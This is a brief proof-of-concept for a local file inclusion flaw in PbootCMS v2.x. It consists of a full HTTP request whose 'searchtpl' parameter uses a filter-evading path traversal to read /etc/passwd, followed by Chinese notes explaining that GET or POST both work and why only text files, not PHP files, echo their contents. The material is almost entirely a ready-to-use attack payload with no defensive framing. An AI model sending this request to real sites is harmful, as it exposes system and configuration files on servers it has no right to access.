LFI in PbootCMS v2.x

GET /pbootcms/index.php?search=&searchtpl=/....//....//....//....//....//....//etc/passwd HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/pbootcms/?search
Origin: http://localhost
Connection: close
Cookie: lg=cn; PbootSystem=2c1a845170112c22742dbd7286b72e99; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1572405857; Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1572405857
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

这里既可以用get也可以用post请求，然后需要注意的是因为这个文件包含是将包含的内容写入一个缓存文件，然后再把缓存文件中的内容输出，这个缓存文件是原文件名的md5值，拼接.php后缀，所以，包含php文件是不会有回显的，只有包含文本文件才能看到回显